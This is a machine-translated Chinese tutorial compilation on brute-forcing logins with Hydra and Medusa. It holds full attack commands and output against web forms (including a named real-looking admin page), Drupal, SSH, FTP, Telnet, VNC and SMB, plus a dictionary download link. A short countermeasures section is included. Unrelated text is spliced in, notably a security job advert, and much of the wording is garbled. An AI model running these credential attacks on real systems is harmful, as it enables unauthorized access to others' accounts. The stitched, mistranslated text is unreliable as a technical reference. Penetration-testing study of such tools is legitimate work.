这些可以通过查看登录页面的源代码来找到。表单中的所有标签都将被发布。帖子名称将是标签的“name”属性。如果它有一个定义,该值将是“值”属性。相应的,你可以使用firefox插件Hackbar篡改数据扩展。

文本尝试失败

这是登录尝试失败时在网页上找到的文字。

把它们放在一起:

网站:www.sillychicken.co.nz/administrator/

返回页面:index.php

返回值是:usrname=(用户输入),pass=(用户输入),提交=Login

现在,我们从页面源中提取,尝试登录到管理页面,我们得到一个javascript弹出窗口,其中显示“用户名不正确,密码……”

“不正确的用户名”听起来像是不会显示的文字,如果是一个成功的登录,我们将使用它。

让我们将它们全部融入Hydra中:

hydra -l {username} -P {passwordlistpath} -s {port} -f {SiteAddress} http-post-form “{Path to postback page}:{USERNAME_NAME}=^USER^&{PASSWORD_NAME}=^PASS^:{failedlogintext}“

我的命令看起来像:

hydra -l hydra-Ppassword.list -s 80 -f www.sillychicken.co.nz http-post-form “/administrator/index.php:usrname=^USER^&pass=^PASS^&submit=Login:Incorrect Username”

命令分析

hydra->hydra程序

-l->(小写“L”不要与大写字母混淆i)单个用户名到目标。使用大写-L来指定用户名列表)我已经为此演示设置了“hydra”帐户,并已被删除

-P->提供密码lis的路径。-p尝试单个密码,即“passw0rd”

-s->端口到http的默认端口为80

-f->在第一个匹配后退出程序

{SiteAddress}IEwww.sillychicken.com ->不要包含http://

http-post-form->服务到暴力 HydraREADME具有http-form-post的命令,将会发生错误

{Pathtopostbackpage}->所有后续站点地址必须以“/”开头

{USERNAME_NAME}->用户名回发变量名称

^USER^->这将被替换为由-l或-L用户名指定的用户名

^PASS^->这将被替换为定义的列表中的密码

{Failedlogintext}->只会在失败中找到的文本登录

注意事项:*确保是从http-post-form“到结束命令之后

实例3.爆破Drupal站点

安装九头蛇

为了安装Hydra,首先从http://freeworld.thc.org/releases/hydra-5.7-src.tar.gz下载Hydra源码 unzip hydra:

$ tar xvzf hydra-5.7-src.tar.gz
$ cd hydra-5.7-src /

一旦解压缩,你需要配置Hydra。确保GCC,Make和其他依赖关系被安装以编译C程序。配置Hydra使用:

$ ./configure

Starting hydra auto configuration ...

Checking for openssl (libssl/ssl.h) ...

                                ... NOT found, SSL support disabled

Get it fromhttp://www.openssl.org

Checking for Postgres (libpq.so) ...

                             ... found

Checking for SVN (libsvn_client-1 libapr-0.so libaprutil-0.so) ...

                          ... NOT found, module svn disabled

Checking for firebird (libfbclient.so) ...

                                   ... NOT found, module firebird disabled

Checking for NCP (libncp.so / nwcalls.h) ...

                                     ... NOT found, module NCP disabled

Checking for SAP/R3 (librfc/saprfc.h) ...

                                  ... NOT found, module sapr3 disabled

Get it fromhttp://www.sap.com/solutions/netweaver/linux/eval/index.asp

Checking for libssh (libssh/libssh.h) ...

                                  ... NOT found, module ssh2 disabled

Get it fromhttp://www.libssh.org

Checking for GUI req's (pkg-config) ...

                                ... found

Hydra will be installed into .../bin of: /usr/local

(change this by running ./configure --prefix=path)

Writing Makefile.in ...

now type "make"

这些错误意味着某些依赖关系未安装。你仍然可以使用没有这些依赖关系的Hydra,但如果没有这些依赖关系,你将无法使用它们支持的协议。例如,上述错误意味着我们将无法执行SSL,SVN,甚至SSH爆破。除了这些常见的协议之外,错误表明支持firebird,NCP,SAP都缺少相应的依赖。Firebird是一种数据库技术。NCP是用于控制NetWare设备的NetWare支持协议,SAP /R3是用于客户关系类型包(认为结算和业务任务有关)的协议。不支持这些协议,Hydra的实用程序受到严格限制,因此你应该努力寻找支持这些功能的软件包。安装程序提供了一些有用的链接来查找所需的库。一般来说,如果你搜索[package]-dev或-devel,找到你的发行版的支持库。

现在在Fedora上使用:

$ sudo yum install subversion-devel openssl-devel libssh-devel firebird-devel ncpfs-devel postgresql-devel gtk2-devel

这应该允许使用除SAP库之外的所有库。

一旦安装了所有依赖项,通过重新运行configure,然后make和最后make install命令。确保作为“make install”命令的特权用户运行,以便将所需的库放在文件系统上(即使用“sudo make install”)。

安装完成后,你可以从命令行使用Hydra或GUI版本的xHydra。使用命令行对于大多数需求是完全足够的,但是有时GUI是有帮助的。

有效的爆破

暴力攻击的力量受到攻击者提供的输入的限制。当尝试猜测用户名和密码时,有两个主要的策略:

第一个是尝试盲目的爆破。为此,攻击工具会从预定义集合的组合中生成用户名和密码。通常这是数字和字母。例如,在盲目爆破攻击中,系统首先尝试使用密码“a”作为用户“a”登录。接下来,它尝试以用户’a'登录,密码为’b'等等,循环遍历所有可能的笛卡尔可能性。这种方法在时间上是非常低效的,但最终将找到有效的凭据。

第二种方法是使用列表作为输入。为此,将向攻击工具提供用户名和密码列表。然后,该工具将用户列表中的第一个帐户和密码列表中的第一个密码,依次连续尝试每个用户的密码。这可以通过将可用输入限制到更小的集合来加快此过程。

暴力攻击的主要缺点是他们花费的时间很长。然而,通过减少变量,可能会加速暴力攻击。收集用户名/密码样式认证系统的有效用户列表将有效用户的猜测限制,极大地减少了连接尝试次数。许多服务将以公开有效的用户帐户如电子邮件地址或其他显示数据的形式,提供给Hydra的用户文件,这样准确性将大大提高。

用例:爆破Drupal

九头蛇可以用于许多不同类型的暴力攻击。Hydra对于老式的爆破工具(如Brutus)的一个优点是其能够执行HTTP post form攻击。这允许你使用Hydra来攻击基于Web的应用程序,甚至是具有反XSRF格式令牌的应用程序。

Hydra的一个潜在用例是测试Drupal用户名和密码的强度。例如,如果在http://172.16.46.129/drupal-6.16/中安装了Drupal站点,我们可以使用任意数量的方法来收集users.txt中有效用户列表(包括http:// www.madirish.net/?article=443)。一旦我们有一个用户列表和可能的密码列表(可能保存为passwords.txt),同时我们需要发现一个最终的组件。Drupal使用令牌保护所有表单(包括登录表单),因此我们需要在Web浏览器中提取目标,查看源代码并找到令牌组件,例如:

</ ul> </ div> <input type =“hidden”name =“form_build_id”id =“form-6fae72d47e80c07782f8d9f8a92b37ca”value =“form-6fae72d47e80c07782f8d9f8a92b37ca”/>

<input type =“hidden”name =“form_id”id =“edit-user-login-block”value =“user_login_block”/>

注意form_build_id(form-6fae72d47e80c07782f8d9f8a92b37ca)的值,这是我们需要提供的令牌,因此Drupal可以验证表单的帖子。除了表单令牌之外,你还需要找到表单字段名称以及表单后期操作URI。收集所有这些数据后,最后一步是在登录失败时找到出现在页面中的唯一字符串。没有这个Hydra无法确定登录尝试是否成功。默认情况下,Drupal提供字符串“对不起,无法识别的用户名或密码”。密码失败时。装备了这最后的信息,我们可以开始一个九头蛇暴力攻击:

$ hydra -L users.txt -P passwords.txt 172.16.46.129 http-post-form "/drupal-6.16/node?destination=node:name=^USER^&pass=^PASS^&form_id=user_login_block&form_build_id=form-545eb8f40f49cc07d5cf994f2f7ffe2e:Sorry, unrecognized username or password."

Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org\ starting at 2010-06-25 11:56:02`

[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task

[DATA] attacking service http-post-form on port 80

[80][www-form] host: 172.16.46.129 login: admin password: password

[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)

Hydra (http://www.thc.org\ finished at 2010-06-25 11:56:03`

以上输出显示,Hydra使用用户名“admin”和密码“password”成功登录到目标站点。请注意,这两个值都分别显示在user.txt和passwords.txt文件中。

Hydra可以用来攻击一长串协议。例如,使用以下命令可以攻击上述同一主机上的SSH服务器:

$ hydra -L users.txt -P passwords.txt 172.16.46.129 ssh2

Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org\ starting at 2010-06-25 12:17:35`

[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task

[DATA] attacking service ssh2 on port 22

[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)

[22][ssh2] host: 172.16.46.129 login: admin password: password

Hydra (http://www.thc.org\ finished at 2010-06-25 12:17:39`

同样,此输出显示登录“admin”和密码“password”可以用于访问目标上的SSH。

实例4.爆破FTP和Web

1.介绍

当攻击者想要了解在线系统时,他可以使用字典爆破攻击。下面简单介绍了两种类型的攻击,并解释了如何使用Hydra启动在线字典攻击。

2.爆破与字典攻击

攻击者可以尝试所有可能的密码组合(暴力方法)。好处是对获得正确密码是有利的。缺点是这是一个非常耗时的过程。

攻击者可以建立一组连接数字(字典中的示例性模式)的通用字,并尝试从该集合中的每个组合。这种方法(字典攻击)可以节省攻击者的时间,因为他不必强制整个关键空间。缺点是不能保证找到正确的密码。然而,打入正确密码的可能性是非常好的。

3.环境

Hydra被描述为支持许多服务的网络登录破解者。下面简单介绍如何使用Hydra启动对FTP和Web表单的在线字典攻击。

Metasploitable是一种基于Linux的漏洞环境虚拟机。例如,它可以用于练习渗透测试技能。请记住,此机器易受攻击,不应以桥接模式运行。

DVWA(Damn Wulnerable Web Application)是一种有意易受攻击的Web应用程序。对于那些想要了解Web应用程序安全性的人来说,这是非常棒的环境。DVWA是Metasploitable的一部分。

4.字典

让我们创建两个简短的描述字典。

用户列表(list_user):

1

2

3

admin_1

admin

msfadmin

密码列表(list_password)

1

2

3

4

password_1

password

msfadmin

password_2

有12种组合进行检查(3个用户4次密码)。这些组合包括DVWA登录表单和Metasploitable FTP(DVWA登录表单的管理员/密码; Metasploitable FTP的msfadmin / msfadmin)的默认凭据。

5.Metasploitable字典攻击FTP

使用以下命令启动攻击:

[email protected]:~$ hydra -L list_user -P list_password 192.168.56.101 ftp -V

使用上述字典(list_user和list_password)。Metasploitable FTP服务器的IP地址为192.168.56.101。这就是为什么在命令中使用ftp模块。应该使用-V来查看每次尝试的用户名和密码。

如下所示,Hydra已经找到一对有效的用户名和密码(用户名:msfadmin,password:msfadmin)。

Clipboard Image.png

6.DVWA词典攻击Web登录表单

使用以下命令启动攻击:

[email protected]:~$ hydra -L list_user -P list_password 192.168.56.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V

上述字典(list_user和list_password)再次被使用。DVWA的IP地址为192.168.56.101。DVWA的登录表单可以在192.168.56.101/dvwa/login.php的Metasploitable中找到。当用户登录时,生成以下请求(由Burp Suite 拦截):

Clipboard Image.png

关键部分标记在屏幕截图上。它们是http-post-form模块参数的值:

"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

^ USER ^和^ PASS ^分别替换为用户名(来自list_user)和密码(list_password)。当登录尝试失败时,服务器将以“登录失败”消息进行响应,该消息是最后一个参数的值。

最后,应该使用-V来查看每次尝试的用户名和密码。

如下所示,Hydra已经找到一对有效的用户名和密码(用户名:admin,password:password)。

Clipboard Image.png

7.总结

本文介绍了两种类型的在线密码攻击(爆破,字典),并介绍了如何使用Hydra对FTP和Web表单启动在线字典攻击。Hydra是一个支持许多服务的网络登录破解者

[1]。Metasploitable可用于实践渗透测试技能

[2]。DVWA(Damn Wulnerable Web Application)对于那些想要使用Web应用程序安全性的人来说是有帮助的。

参考文献:

Hydra

http://www.thc.org/thc-hydra/

[2] Metasploitable

http://www.offensive-security.com/metasploit-unleashed/Metasploitable

[3] DVWA(Damn Wulnerable Web Application)

http://www.dvwa.co.uk/

[4] Burp suite

http://portswigger.net/burp/

实例5.爆破Telnet

爆破是一个相当简单的思维,也是一个非常强大的想法。简单地说这是什么意思 攻击者将尝试每个可能的字符组合,以尝试猜测你的密码/密钥等。这是为什么密码很重要的原因之一,因为爆破攻击会找到你的密码,你需要确保密码爆破在所需时间使其在技术上不可行。我们也简要地看了一下使用爆破来破解你所拥有的密码文件,但是这次我爆破一些登录服务。

忧虑

这两个主要原因是:

许多公司通过其防火墙允许一些服务,无论是ftp,pop3,ssh甚至网页登录到某个地方。所有这些都可以是爆破的。此外,这样做的工具易于使用和获取。

爆破的基本概念有所改变。许多爆破工具允许你指定密码或用户名列表。这是因为使用这些比传统的爆破更快。但是使用现代的硬盘驱动器大小和方法(彩虹表,组合攻击等),使用所有可能的字符组合创建一个文件是非常可行的,使用这样一个文件会减少运行这种攻击所需的时间。

使用linux系统进行爆破

让我展现出一个可以在linux和相关系统上使用的实用程序 – Hydra。

该软件来自THC,它是一个非常有用的基于命令行的程序,可以处理许多不同的协议。这是从4.6版本我正在使用的列表

支持的协议:[telnet ftp pop3 imap smb smbnt http https http-proxy cisco cisco-enable ldap2 ldap3 mssql mysql nntp vnc socks5 rexec snmp cvs icq pcnfs sapr3 ssh2 smtp-auth teamspeak]

让我们从一个简单的服务开始 – telnet ..

# hydra -L ./users -P ./pass -e ns -t 1 10.0.0.50 telnet -v

Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2005-12-28 17:39:08

[DATA] 1 tasks, 1 servers, 64 login tries (l:8/p:8), ~64 tries per task

[DATA] attacking service telnet on port 23

[23][telnet] host: 10.0.0.50 login: easy password: 12345

[STATUS] 16.00 tries/min, 16 tries in 00:01h, 48 todo in 00:04h

[23][telnet] host: 10.0.0.50 login: public password: joe

[STATUS] 18.50 tries/min, 37 tries in 00:02h, 27 todo in 00:02h

[23][telnet] host: 10.0.0.50 login: sue password: joe

[STATUS] attack finished for 10.0.0.50 (waiting for childs to finish)

Hydra (http://www.thc.org) finished at 2005-12-28 17:42:08

现在首先,这个服务器有一些很简单的密码和用户名设置(你可以看到),现在看看我使用的交换机..

-L,指定用户名列表,注意大小写不同

-P,指定密码列表

-e,尝试null和相同(与用户名相同)密码

-t,以指定要运行的parralel进程的数量

那么目标IP和服务

-v,用于详细

让我们尝试运行它与常用的东西..

# hydra -l "" -P ./pass -e n -t 1 10.0.0.100 vnc -V

Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2005-12-28 17:49:28

[DATA] 1 tasks, 1 servers, 8 login tries (l:1/p:8), ~8 tries per task

[DATA] attacking service vnc on port 5900

[5900][vnc] host: 10.0.0.100 login: password: 123456

[STATUS] attack finished for 10.0.0.100 (waiting for childs to finish)

Hydra (http://www.thc.org) finished at 2005-12-28 17:49:30

正如你所看到的那样,VNC也是如此,所有我改变的是…

将用户名指定为null,-l“”

停止检查相同的密码,-en

简单,强大,实用

0×06免责说明

1.请勿在军事或秘密服务机构或非法目的使用。

2.Affero通用公共许可证版本3(AGPLv3)适用于此代码。

3.包含了OpenSSL的特殊许可扩展,这是Debian家族所需要的

0×07联系我们

诚心需要大家的帮助!

如果您发现错误,编码增强功能或为服务写入新的攻击模块,请将它们发送到[email protected]

有趣的攻击模块将是:OSPF,BGP,PIM,PPTP,…(或任何你可能做的事情(而且还没有)

请注意,您也可以通过github下载并提交:https://github.com/vanhauser-thc/thc-hydra

非常感谢大家的建议!

Yourssincerly,

vanHauser

TheHackersChoice

http://www.thc.org/thc-hydra

0×08防范措施

由于在攻击期间导致的失败的登录尝试次数很多,所以爆破是非常容易发现的。有几种有效的策略来检测和预防这种攻击。

1.最有效的策略之一是限制失败的登录尝试次数。使用此策略可以在一定数量的故障之后阻止主机或锁定帐户。在实施这种方法时应该小心,因为攻击者可能会故意导致帐户被锁定而导致拒绝服务条件。由于响应有效的用户引起认证失败,使用此策略也会提高服务的支持成本。

2.另一个策略是限制连接尝试。许多服务允许配置此值。通过限制连接尝试次数,可能必须重新启动攻击工具才能完成攻击。这种类型的配置可能会使攻击者充分混淆,从而使他们远离。至少它会防止自动攻击。

3.每次失败的尝试增加服务响应时间是另一个可以在许多情况下运行的策略。该策略涉及连续增加每次失败的认证尝试的响应时间。这意味着首先发生小的延迟,但随着攻击的进行,延迟更长和更长。这是一种非常有效和不引人注意的挫败暴力攻击的方法。

4.只要服务创建某种失败的日志,检测爆破就很容易。最常见的入侵检测系统(IDS)应该能够在短时间内检测大量失败的登录尝试。这种方法的缺点是攻击者可能会洪泛一个系统来产生大量的IDS事件通知,这些通知可以用于分析人员引发信息超载。充斥警报的分析人员将难以通过所有通知来识别实际的攻击,因此攻击者可能能够隐藏大量攻击的攻击垃圾。

5.审计系统密码也是一个有效的防范。通过检查你自己的系统以确保常用的用户名和密码不允许访问,你可以确保使用Hydra和普通用户和密码列表的攻击者无法访问。这种类型的渗透测试可能是耗时的,但是可能会在暴力攻击开始或成功之前提醒运营商潜在的漏洞。

6.检查你的日志。确保你检查任何系统日志可疑活动。当我运行这些测试时,目标服务器的日志显示了很多失败的登录,始终是发生事件的一个明确的迹象

7.正确设置你的服务 在关闭会话之前只允许一定数量的登录,如果可能的话,可以锁定谁可以从哪里登录

8.使用好的密码

最后一件事,在某种恶意的事情之前检测到这种类型的事情。

字典更新:链接:http://pan.baidu.com/s/1pLMFjsR 密码:p84w

失效及时私信我

更新时间:2017年10月31日

一、企业信息

金证科技

深圳市金证科技股份有限公司(以下简称“金证”)成立于1998年,2003年在上海证券交易所上市(股票代码:600446)。经20多年的发展,金证从一家金融软件企业发展成为集团化的金融科技企业。目前拥有近20家平台子公司和分子公司,员工近6000人,是国内金融科技的领军企业。

金证科技.png

香港交易及結算所有限公司(港交所)

香港交易所集团是全球最大金融市场营运机构之一。透过我们设于香港的总部和伦敦的枢纽,我们为股本证券、大宗商品、定息及货币等多种资产类别产品提供世界一流的交易及结算服务 。香港地位独特,位处中国与国际资金交汇点,一直是连接中国与世界的桥梁。随着中国资本市场稳步开放,香港交易所会继续担当金融市场先驱的角色,致力重塑全球市场格局。

港交所.jpg

二、招聘信息

1. 岗位名称:助理安全专家L1

岗位职责: 

1、对安全事件进行监控、处理、根因分析;

2、协助开展漏洞扫描和验证工作; 

3、协助安全巡检和应急响应工作; 

4、跟踪国内外信息安全动态。

岗位要求: 

1、统招全日制本科以上学历,计算机、网络工程、信息安全专业优先; 

2、至少2年的相关工作经验;

3、熟悉kali、Metasploit、AWVS、AppScan者优先; 

4、对网络安全有浓厚的兴趣,愿意在安全领域长期发展;

5、有信息安全工程师等级证书者优先录用,如:CISSP/CCNP/CISP等;

6、能够接受轮班工作;

7、英语听说读写熟练优先。

薪资:15K/月左右,可调

2. 岗位名称:资深安全专家L2

工作职责: 

1、跟踪国内外安全动态,负责对各类安全事件的分析和应急响应,制定突发事件应急预案,并定期进行演练;

2、日常安全事件应急响应,负责系统安全事件调查。

3、及时跟进最新安全动向,负责信息安全领域的技术研究,制定和维护相关安全制度、安全规范并提出相关的解决方案。

岗位要求:

1、具备8年以上信息安全及相关领域工作经验;

2、熟悉掌握linux/windows操作系统和各类基础应用软件,精通服务器安全、网络安全等;

3、熟悉信息安全体系和安全标准(BS7799或ISO27001),能熟练使用安全监控、漏洞扫描、补丁追踪等安全工具进行信息安全评估;

4、熟悉主流渗透,网络、系统攻击手段和各种攻防安全技术;

5、熟悉各种web安全漏洞的攻击及防御方法;

6、熟悉相关网络安全产品,如:防火墙、IDS、IPS、漏洞评估工具、防病毒系统、监控产品等;

7、具有CISSP、CISP、 CISA等证书者优先;

8、英语听说读写熟练优先

薪资:25K/月左右,可调

三、薪资待遇

面谈,谈多少全靠一张嘴,嘿嘿嘿

四、工作地区

港交所前海交易中心

五、联系方式

简历麻烦砸:[email protected] (请注明来自 Freebuf

六、隐藏福利

由于港交所的编制有限,目前是金证科技的编制,明年4月份提供港交所编制。其他的我就不多说了,大家都明白的,欢迎砸简历到邮箱,注意备注好来源:Freebuf,此外我的专栏:我的渗透测试之路,欢迎各位表哥表姐分享思路和学习经验

今天主要是初步介绍一些Hydra和Medusa的分析和内容,旨在方便快速入门,这是第一部分Medusa,后面附带一些字典,之所以是写一起,我是觉得这两个都是不错的工具,不应该分开的,在这种思想下就汇总成一个标题,便于检索

Medusa快速入门

JoMo-Kun / [email protected]

目录

 0x00Medusa是什么?

·0×01为什么创造Medusa?

·0×02如何使用Medusa?

·0×03哪里可以下载?

·0×04可以联系谁?

·0×05嘿嘿嘿?

0×00 Medusa是什么?

Medusa旨在成为一个迅速,大规模并行,模块化,爆破登录。目标支持大部分允许远程登录的服务。以下是Medusa项目一些主要功能:

·基于线程的并行测试。可以同时对多个主机,用户或密码执行强力测试。

·灵活的用户输入目标信息(主机/用户/密码)可以通过多种方式指定。例如,每个项目可以是单个条目或包含多个条目的文件。此外,组合文件格式允许用户改进其目标列表。

·模块化设计。每个服务模块作为独立的.mod文件存在。这意味着,核心应用程序不需要进行任何修改,以便扩展支持的强制服务列表。

0×01为什么创造Medusa?

为什么要创造Medusa?这与THC-Hydra不一样吗?以下是此应用程序的一些原因:

·应用稳定。可能我是个跛脚汉,但是九头蛇也经常摔倒。我不再相信Hydra实际上的功能是否和自己声称的那样比起修复Hydra,我决定创建自己新的应用程序,虽然这可能会以新的和令人兴奋的方式崩溃。

·代码结构。一段时间后,我向Hydra添加了几个功能(并行主机扫描,SMBNT模块)。将并行主机代码复制到Hydra真的是的痛苦。这主要是由于我的编码上的无力,但也可能是由于Hydra不是从底层设计来支持这一点。而Medusa从一开始就设计为支持主机,用户和密码的并行测试。

·速度。Hydra通过为每个主机和正在测试的服务的实例分派新流程来完成其并行测试。当一次测试许多主机/用户时,会产生大量的开销,因为每个分叉进程的用户/密码列表必须重复。Medusa是基于pthread的,不会不必要地重复信息。

·教育。我不是一个有经验的C程序员,也不认为自己是多线程编程的专家。写这个应用程序是对我的训练。希望其结果对别人有用。

下面是Medusa和Hydra的详细比较:

特征 Medusa2.2 Hydra7.1 Ncrack 0.4ALPHA
* License GPL-2 GPL-3 GPL-2
核心 并行方式 Pthread fork()
服务设计 模块化 内建
速度
通用包装模块
AFP
CVS
FTP FTP
Explicit显式FTPS(RFC 4217中定义的AUTH TLS模式)
Implicit隐式FTPS(FTP over SSL(990 / tcp)
HTTP 基本认证
NTLM认证(Windows集成)
摘要认证 MD5,MD5-sess MD5
HTTP代理
ICQ
IMAP LOGIN支持
AUTH-PLAIN支持
AUTH-NTLM支持
SSL支持 IMAPS,STARTTLS IMAPS,STARTTLS
LDAP
Microsoft SQL 端口自检
MS-SQL
MySQL的 Pre4.1的认证
Pre4.1的散列传递
4.1+认证
NCP(NetWare) √(ncpfs) √(ncpfs)
NNTP √(原AUTHINFO) √(原AUTHINFO)
Oracle 数据库 √(通过Wrapper脚本)
Listener监听
SID
远程控制软件 支持的加密级别 没有 没有
支持的认证模式 本地PCA,ADS,NT,Windows 原生PCA
PCNFS
POP3 AUTH-USER支持
AUTH-LOGIN支持
AUTH-PLAIN支持
AUTH-NTLM支持
SSL支持 POP3S,STARTTLS POP3S POP3S,STARTTLS
PostgreSQL的
RDP(终端服务器)
哈希支持
REXEC
RLOGIN .rhost支持
密码支持
RSH
SAPR3
SIP
SMB(Microsoft Windows / Samba) 验证模式 明文,LMv1,NTLMv1,LMv2,NTLMv2 明文,LMv1,NTLMv1,LMv2,NTLMv2 未知
哈希传递
访问检测(ADMIN $)
SMTP 方法AUTH-LOGIN支持
方法AUTH-PLAIN支持
方法AUTH-NTLM支持
SSL支持 STARTTLS STARTTLS
VRFY
EXPN
RCPT TO
SNMP √(设计明显更快) √(用“HYDRA”覆盖sysName)
SOCKS5
SSHv2的 √(libssh2) √(libssh)
SVN
小组发言
远程登录 通用Telnet
思科(AAA /非AAA)
思科启用密码
AS / 400(TN5250)支持
VNC 无密码/仅限密码支持
反强力减速支持
用户名/密码支持
VmWare验证守护进程 非SSL认证
SSL认证
Web表单模块

速度比较:20个条目的密码列表(20个有效的条目)

FTP / Ubuntu 11.10 vsftp 2.3.2

【1Task】 【4Task】 【16Task】 备注
Medusa 1:03.53 15.727 7.658 -t 16
Hydra 57.627 16.548 8.013 -t 16
Ncrack 1:00.01 24.017 15.009 -g cl=16,CL=16

速度比较:1003个条目的密码列表(#1000的有效条目)

HTTP / Windows 2008 IIS 7.0

【1Task】 【4Task】 【16Task】 备注
Medusa 1.390 0.8030 0.626 -t 16
Hydra 1.443 0.855 0.790 -t 16
Ncrack 3.108 3.016 3.013 -g cl=16,CL=16

速度比较:1003个条目的密码列表(#986的有效条目)

SMB / Windows 2008

【1Task】 【4Task】 【16Task】 备注
Medusa 6.859 0.919 0.500 -v4 -t 16
Hydra 8.216 - - 不支持
Ncrack - -

速度的比较:10个条目的密码表(在#10)有效条目

SSH Ubuntu 11.10 OpenSSH 5.8p1

【1Task】 【4Task】 【16Task】 备注
Medusa 38.039 11.943 8.067 -v 4 -t 16
Hydra 32.122 12.208 8.457 -t 16
Ncrack 30.023 27.012 24.013 -g cl=16,CL=16

0x02如何使用

我该怎么用这个东西?可以先直接medusa -h查看,以下是几个示例用途:

·显示当前安装的所有模块:

% medusa -d

Medusa v1.0-rc1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

Available modules in "." :

Available modules in "/usr/local/lib/medusa/modules" :

+ mssql.mod :

Brute force module for M$-SQL sessions : version 0.1.0

+ http.mod :

Brute force module for HTTP : version 0.1.1

+ ssh.mod :

Brute force module for SSH v2 sessions : version 0.1.1

+ smbnt.mod :

Brute force module for SMB/NTLMv1 sessions : version 0.1.1

+ telnet.mod :

Brute force module for telnet sessions : version 0.1.4

·显示特定模块的选项:

% medusa -M smbnt -q

Medusa v1.0-rc1 [http://www.foofus.net\] (C) JoMo-Kun / Foofus Networks

smbnt.mod (0.1.1) JoMo-Kun :: Brute force module for SMB/NTLMv1 sessions

Available module options:

GROUP:? (DOMAIN, LOCAL*, BOTH)

Option sets NetBIOS workgroup field.

DOMAIN: Check credentials against this hosts primary domain controller via this host.

LOCAL: Check local account.

BOTH: Check both. This leaves the workgroup field set blank and then attempts to check

the credentials against the host. If the account does not exist locally on the

host being tested, that host then queries its domain controller.

GROUP_OTHER:?

Option allows manual setting of domain to check against. Use instead of GROUP.

PASS:? (PASSWORD*, HASH, MACHINE)

PASSWORD: Use normal password.

HASH: Use a NTLM hash rather than a password.

MACHINE: Use the machine's NetBIOS name as the password.

NETBIOS

Force NetBIOS Mode (Disable Native Win2000 Mode). Win2000 mode is the default.

Default mode is to test TCP/445 using Native Win2000. If this fails, module will

fall back to TCP/139 using NetBIOS mode. To test only TCP/139, use the following:

medusa -M smbnt -m NETBIOS -n 139

(*) Default value

Usage example: "-M smbnt -m GROUP:DOMAIN -m PASS:HASH"

·以下命令主要通过Medusa获取passwords.txt对测试主机192.168.0.20上SMB服务的单个用户(管理员)列出的所有密码。“-e ns”表明Medusa另外检查管理员帐户是否具有空白密码或设置其密码以匹配其用户名(管理员)。

% medusa -h 192.168.0.20 -u administrator -P passwords.txt -e ns -M smbnt

Medusa v1.0-rc1 [http://www.foofus.net\] (C) JoMo-Kun / Foofus Networks

ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: (1/7)

ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: administrator (2/7)

ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: password (3/7)

ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass1 (4/7)

ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass2 (5/7)

ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass3 (6/7)

ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass4 (7/7)

·以下命令行演示了Medusa是如何执行一些并行功能。这里至少有20个主机和10个用户同时测试。“-L”选项指示Medusa由用户进行并行执行。这意味着每个不同的用户都会对每个主机的使用10个线程进行检查。

% medusa -H hosts.txt -U users.txt -P passwords.txt -T 20 -t 10 -L -F -M smbnt

·Medusa允许使用文件“组合”设置主机/用户名/密码等数据。可以使用“-C”选项指定组合文件。该文件应该包含每行一个条目,并用冒号隔开,样式为host:user:password。如果三个字段中的任何一个留空,则相应的信息应作为全局值或文件中的列表提供。Medusa将根据文件中第一行的内容执行基本参数检查。

·组合文件中可以使用以下组合:

·主持人:用户名:密码

·主持人:用户名:

·主办::

·:用户名密码

·:用户名:

·::密码

·主持人::密码

·以下示例将检查文件combo.txt中的每个条目: 

% medusa -M smbnt -C combo.txt

The Combo.txt file: 

192.168.0.20:administrator:password 

192.168.0.20:testuser:pass 

192.168.0.30:administrator:blah 

192.168.0.40:user1:foopass

以下示例将检查文件combo.txt中的每个条目并与hosts.txt中的文件做比较: 

% medusa -M smbnt -C combo.txt -H hosts.txt 

The combo.txt file: 

:administrator:password

:testuser:pass 

:administrator:blah 

:user1:foopass

Medusa还支持使用PwDump文件作为组合文件。这些文件的格式应该是user:id:lm:ntlm :::。我们在第一行的末尾查找“:::”,以确定该文件是否包含PwDump输出。

恢复Medusa扫描。Medusa有能力恢复被SIGINT信号中断的扫描(例如CTRL-C)。例如:

测试中断了SIGINT 

% ../medusa -M ssh -H host.txt -U users.txt -p password

Medusa v2.0 [http://www.foofus.net\] (C) JoMo-Kun / Foofus Networks

ACCOUNT CHECK: [ssh] Host: 192.168.0.1 (1 of 11, 0 complete) User: foo (1 of 4, 0 complete) Password: password (1 of 1 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.0.1 (1 of 11, 0 complete) User: administrator (2 of 4, 1 complete) Password: password (1 of 1 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.0.1 (1 of 11, 0 complete) User: jmk (3 of 4, 2 complete) Password: password (1 of 1 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.0.1 (1 of 11, 0 complete) User: bar (4 of 4, 3 complete) Password: password (1 of 1 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.0.11 (2 of 11, 1 complete) User: foo (1 of 4, 0 complete) Password: password (1 of 1 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.0.11 (2 of 11, 1 complete) User: administrator (2 of 4, 1 complete) Password: password (1 of 1 complete)

ALERT: Medusa received SIGINT - Sending notification to login threads that we are are aborting.

